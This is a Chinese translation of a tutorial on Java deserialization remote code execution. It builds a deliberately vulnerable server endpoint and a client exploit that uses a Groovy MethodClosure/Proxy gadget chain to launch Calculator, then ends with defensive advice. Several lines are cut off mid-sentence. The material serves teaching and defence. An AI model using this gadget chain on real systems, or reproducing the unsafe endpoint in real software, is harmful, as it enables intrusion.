Remote Code Execution for Java Developers

backcover7 / 2019-09-15 10:49:50 / 浏览数 2440 安全技术 WEB安全 顶(0) 踩(0)

本文为翻译文章，原链接为：https://medium.com/cisco-amp-technology/remote-code-execution-for-java-developers-84adb8e23652

原repo为：https://github.com/Cisco-AMP/java_security

这篇文章是为了成为JAVA开发者去往安全的一个入门指南。很多计算机安全里的论点和攻击依赖于一些不熟悉的技术（例如计算机体系结构，asm等）的深入了解。有时这

首先我们将会回顾一些相关的JAVA特性（多态，序列化和反射）。然后我们将深入演示使用这些功能执行特定的JAVA安全漏洞。最后我们将讨论如何将你的JAVA代码更加

JAVA特性回顾

多态

多态或者"一个接口，多个实现"这都是作为面向对象语言的重要特性。JAVA通过接口，抽象类和具体类来支持这种特性。

java.util.Map接口是一个不错的案例。一个类必须实现这个接口才能成为一个Map。JAVA标准库也包含了一些类似的实现接口，像java.util.HashMap或它的线程安全的等

我们甚至可以写出自己的Map实现。

```
public class IntegerToStringMap implements Map<Integer, String> { ... }
```

如果我们发现IntegerToStringMap具有我们想要重用的功能，那么我们可以扩展它以进行更多的Map实现。

```
public class AnotherMap extends IntegerToStringMap { ... }
public class YetAnotherMap extends IntegerToStringMap { ... }
```

如果我们想防止这种扩展行为呢？JAVA允许使用关键字final来停止对该类的继续扩展。

```
public final class IntegerToStringMap implements Map<Integer, String> { ... }
```

这将使得AnotherMap和YetAnotherMap停止被JAVA编译器或JVM接受。

如果使用多态类？继续以Map为例，JAVA中的多态允许我们写如下的代码：

```
void useMap(Map<Integer, String> m) { ... }

IntegerToStringMap map1 = new IntegerToStringMap();
HashMap<Integer, String> map2 = new HashMap<>();

useMap(map1);
useMap(map2);
```

这非常有用因为我们在写userMap()方法的使用根本不会在意哪个Map接口被实现了。

序列化

序列化是将结构化数据（JAVA中的对象）转换为字节数组的行为。然后程序能够通过逆转的过程恢复结构化数据（反序列化）。由于序列化很常见，因此有一些标准技术可

如果你像如下创建一些实现Serializable的接口的类：

```
public class Example implements Serializable {
   private Integer attribute;
   public Example(Integer attribute) { this.attribute = attribute; }
   public Integer getAttribute() { return attribute; }
}
```

那么它可以进行如下的序列化和反序列化：

```
// serialization
Example example1 = new Example(1);
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteStream).writeObject(example1);
byte[] bytes = byteStream.toByteArray();

// deserialization
ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(bytes));
Example example2 = (Example) stream.readObject();
```

在如上的代码中，将尝试对整个对象example1进行序列化。对象中的所有内容都必须是实现了Serializable类型或者基本类型（long，byte[]等）。该Example类有一个单一

反射

反射是这个教程中最难的了。这是一个比较高级的功能集但在JAVA应用中不是很常用。我记得Mark Reinhold和Alex Buckley在他们使用Java反射API的情况下向Java开发人员询问是否使用过，大部分他们都是没举手的。

在一个demo服务器代码中反射是不需要的。但是我们将会使用反射创建一个利用代码。

反射是一种元变成，它允许你在运行时获取有关程序的信息甚至修改程序的每个部分。一种简单使用反射的方法是来获取你的程序的相关注释信息。假设我们有如下的注解定

```
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface CustomAnnotation {
   public String value() default "";
}

@CustomAnnotation("Hello")
public class TestClass { ... }
```

那么你将会使用如下代码来获取处于运行时的TestClass注释信息

```
CustomAnnotation annotation = TestClass.class.getAnnotation(CustomAnnotation.class);
if (null != annotation){
   String annotationValue = annotation.value();
}
```

通常来说，你可以通过反射API做一些更厉害的事。另一个我们稍后会演示的样例会在运行时实现一个接口。这里是你如何通过java.util.Collection来实现一个反射。

```
Collection dummyCollection = (Collection) Proxy.newProxyInstance(
      Main.class.getClassLoader(), new Class<?>[]{Collection.class},
      (proxy, method, args) -> {
          // perform custom actions for the method that was called
          return null;
      }
);
```

上面的代码片段中的dummy的Lambda实现了java.lang.reflect.InvocationHandler接口。它是每个方法在做调用时都会调用的代码，它必须决定如何处理每个不同方法的调

远程代码执行Demo

服务器设置

这个demo是建立在一个web服务器上，它可以接受且反序列化submission类。这个submission类没什么特别的，如下是com.cisco.amp.server.Submission的片段代码。

```
public class Submission implements Serializable {
   private final Collection<String> values;
   public Submission(Collection<String> values) {
       this.values = values;
   }

   @Override
   public String toString() {
       StringBuilder sb = new StringBuilder();
       for (String entry : values) {
           sb.append(entry);
           sb.append("\n");
       }
       return sb.toString();
   }
}
```

这个类实现了Serializable接口以允许Submission类对象可以在网络上进行传输。所以这个服务器可以通过HTTP请求来接受字节流然后序列化成Submission实例对象。这个

```
@PostMapping("/submit")
public String submit(HttpServletRequest requestEntity) throws IOException, ClassNotFoundException {
   byte[] bytes = IOUtils.toByteArray(requestEntity.getInputStream());
   ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(bytes));
   Submission submission = (Submission) stream.readObject();
   return submission.toString();
```

```
}
```

在真实的应用中一定很多复杂的逻辑，这里是非常简单的。我们反序列化了输入字节，对这个对象做了一些操作（样例中是toString）并且返回了HTTP响应包。

但是这个很小的服务端代码足够引起一个漏洞。问题是在于没有验证用户输入，我们直接拿了用户传入的字节然后期望是我们想要的那个东西，也就是一个Submission的实

利用加强

我们将会建立一个客户端用来向服务器发送攻击利用代码。我们的目标是让服务器启动计算器这个应用，这是个经典案例。这个想法是你可以让计算器执行的话，就意味着你

通过构造一个特殊的submission对象，我们应该可以滥用固有的信任。这就是多态和反射发挥作用的地方。我们将通过使用这两个特性欺骗服务器执行我们的代码。

多态攻击利用（尝试）

首先，注意到Submission类有一个Collection\<string>成员。因为Collection是一个接口。实际上它并不关心Collection是什么类型实现，任何实现都可以。这有一定道理

这篇文章的接下来部分会使用如下的客户端代码（完整代码在github上）：

```
Submission submission = new Submission(makeExploitCollection());

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(submission);
byte[] bytes = byteArrayOutputStream.toByteArray();

HttpEntity<byte[]> entity = new HttpEntity<>(bytes);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> response = restTemplate.postForEntity("http://localhost:8080/submit", entity, String.class);
System.out.println(response.getBody());
```

这就是创建了一个Submission实例，序列化后发给了服务器。我们要聊的有趣的地方是makeExploitCollection()这个方法。

首先我们将提到服务器会调用Collection里的自定义代码，这种情况下，Collection中的会被服务器调用的方法是可以被我覆写的。注意到服务器进行了Submission::toStrin

```
public String toString() {
   StringBuilder sb = new StringBuilder();
   for (String entry : values) {
       sb.append(entry);
       sb.append("\n");
   }
   return sb.toString();
}
```

上述的for-each语法中，for(String
entry:values)隐藏调用了Collection::iterator。因此如果我们使用自定义代码实现Collection::iterator，服务器就会运行我们的自定义代码。如果我们扩展了ArrayList\<stri

```
private static Collection<String> makeExploitCollection() {

   return new ArrayList<String>(){
       @Override
       public Iterator iterator() {
           try {
               Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
           } catch (IOException e) {
           }
           return null;
       }
   };
}
```

但是如果我们尝试将此利用代码发到服务器，我们会遇到一些问题。服务器会打印堆栈错误。

```
java.lang.ClassNotFoundException: com.cisco.amp.client.Client$1
   at java.net.URLClassLoader.findClass(URLClassLoader.java:382) ~[na:1.8.0_191]
   ...
   at com.cisco.amp.server.SubmissionController.submit(SubmissionController.java:22) ~[classes!/:0.0.1-SNAPSHOT]
   ...
```

错误信息com.cisco.amp.client.Client$1来自于我们在客户端内创建的匿名类。这里就是说服务器不能找到com.cisco.amp.client.Client$1的对应字节码。

我们再看一下我们发给服务端的内容。这是漏洞利用中的String的渲染结果。

```
ï¿½ï¿½■sr com.cisco.amp.server.Submission>ï¿½ï¿½1_G■ï¿½■■L■valuest■Ljava/util/Collection;xpsr
com.cisco.amp.client.Client$1ï¿½w■ï¿½:-ï¿½ï¿½■xr■java.util.ArrayListxï¿½ï¿½ ï¿½ï¿½aï¿½■■I■sizexpw■x
```

我们可以看到我们使用的类的引用，带了一些数据。但是这些类的字节码并没有发送。JAVA反序列化使用类加载器尝试查找这些类的字节码，在这种情况下，java.net.URL

这意味着我们的漏洞利用代码无法以其当前形式运行。服务器需要能够访问并执行我们的漏洞利用代码才能工作。这可以通过使用服务器已有的类来完成。在下一章节中我们

多态和反射的漏洞利用

继续我们将假设服务器有如下的依赖环境

```
<dependency>
   <groupId>org.codehaus.groovy</groupId>
   <artifactId>groovy-all</artifactId>
   <version>2.4.0</version>
</dependency>
```

考虑到现代web是库构建成的，引进库的依赖会使得这一切变得更加简单。

这个想法是使用反射来实现我们利用Collention，所以利用利用代码应该像如下：

```
private static Collection<String> makeExploitCollection() {

   Collection exploitCollection = (Collection) Proxy.newProxyInstance(
           Client.class.getClassLoader(), new Class<?>[]{Collection.class}, ?????InvocationHandler?????
   );

   return exploitCollection;
}
```

这里的Collection是由java.lang.reflect.Proxy反射实现的。这可以起作用是因为Proxy实现了Serializable，并且它在服务器的classpath中，但我们仍需要一个InvocationH

记住我们不能自顾自实现，我们要在服务器上使用代码对此进行利用。groovy-all的依赖性来源两个非常有用的类：org.codehaus.groovy.runtime.ConvertedClosure和o
Lambda）构造它的类方法的反射实现。MethodClosure提供了Closure运行系统命令的实现（如启动计算器）。他们都实现了Serializable接口。

现在，我们的反射Collection实现，使用自定义Collection::iterator方法，可以像这样构造。

```
private static Collection<String> makeExploitCollection() {

   MethodClosure methodClosure = new MethodClosure("/Applications/Calculator.app/Contents/MacOS/Calculator", "execute");
   ConvertedClosure iteratorHandler = new ConvertedClosure(methodClosure, "iterator");

   Collection exploitCollection = (Collection) Proxy.newProxyInstance(
           Client.class.getClassLoader(), new Class<?>[]{Collection.class}, iteratorHandler
   );

   return exploitCollection;
}
```

注意我们不会为要执行的服务器创建新代码。我们只是组合了已有的类。

所有演示代码都在我们的repo中。如果你运行代码，那么服务器将启动计算器。当你运行它时，即使漏洞有效，也会在服务器日志中打印另一个异常。攻击者需要更好的利

服务器代码改进

我们已经成功演示了如何利用服务器漏洞。经过这样的联系后我们可以更好地了解通过阻止什么会使攻击更加困难。我们将在这里进行一些服务器代码修改，并简要描述如何

验证用户输入

在服务器代码中出现漏洞是因为没有验证用户输入。通常来说，这是你自己不想做的事。使用一个库或者框架可能会带来一些更好地结果但是也会带来另一面的你不想要的东

- 只能接收一个特殊的collection实现
- 确保Collection实现类和Submission类都是使用final定义的，确保不会被继承
- 不要在将要序列化的具体类的定义中使用泛型。我们在本练习中没有看到原因，但您可以在阅读有关Java类型擦除之后弄清楚。
- 无论如何，这份清单并非详尽无遗

这些建议的重点是防止攻击者提供自己设计的类。输入验证是一个非常重要的措施。适当的输入验证可以安全地防范其他常见攻击（例如SQL注入）。

避免JAVA序列化

这与验证用户输入有关。Java Serialization是一种非常强大的序列化技术，具有许多功能。有一些更严格的序列化方法（例如JSON）通常也可以正常工作。

使用和验证更严格的序列化标准可以为攻击者提供更少的攻击成功几率。在演示中，包含数组的JSON将允许我们以Strings更安全的方式接受集合。此外，由于Java维护者希

更好管理依赖关系

在演示中，我们使用类groovy-all来制作我们的漏洞。这对我们的服务器来说是不必要的依赖，这意味着它应该被删除。删除不必要的依赖项可以减少攻击者对其进行利用。
9开始可以创建一个自定义的JAVA运行时库。

如果需要依赖，那么它应该保持更新。通常，只要仍然支持使用的主要版本，最新的版本都会进行错误修复。这也适用于groovy-all依赖。新版本包含的保障例如控制Conve

使用更小的权限

如果您运行演示并查看进程树列表，那么它将看起来像这样。

```
mitch$ pstree -s "Calculator" | cat
...
\-+= 03193 mitch -bash
\-+= 38085 mitch /usr/bin/java -jar ./target/server-0.0.1-SNAPSHOT.jar
  \--- 38105 mitch /Applications/Calculator.app/Contents/MacOS/Calculator
```

计算器由服务器启动，它作为服务器运行的同一用户运行。在这种情况下，它是我的个人帐户，因此攻击者可以做到我个人可以造成的伤害。如果服务器以root身份运行，则